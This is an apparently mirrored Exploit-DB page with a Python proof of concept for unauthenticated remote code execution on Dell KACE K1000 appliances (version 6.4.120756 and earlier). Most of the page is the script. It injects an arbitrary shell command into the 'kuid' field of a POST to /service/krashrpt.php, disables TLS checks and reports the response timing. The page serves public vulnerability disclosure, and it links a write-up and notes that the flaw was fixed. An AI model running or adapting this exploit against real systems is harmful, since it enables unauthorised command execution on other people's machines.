Dell KACE Systems Management Appliance (K1000) 6.4.120756 – Unauthenticated Remote Code Execution - 体验盒子

作者： Julien Ahrens

日期： 2019-04-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/46684/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

#!/usr/bin/python

# Exploit Title: Dell KACE Systems Management Appliance (K1000) <= 6.4.120756 Unauthenticated RCE

# Version: <= 6.4.120756

# Date:2019-04-09

# Author:Julien Ahrens (@MrTuxracer)

# Software Link: https://www.quest.com/products/kace-systems-management-appliance/

# Write-up:https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/

# Note:The software is maintained by Quest now, but the vulnerability was fixed while Quest was part of Dell.

#

# Usage: python3 exploit.py https://localhost 'sleep 10'

import requests

import sys

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target_url = sys.argv[1]

payload = sys.argv[2]

r = requests.post(target_url + '/service/krashrpt.php', data={

'kuid' : '<code>' + payload + '</code>'

}, verify=False)

print('Response: %s %s\nKACE Version: %s\nResponse time: %ss' % (r.status_code, r.reason, r.headers['X-DellKACE-Version'], r.elapsed.total_seconds()))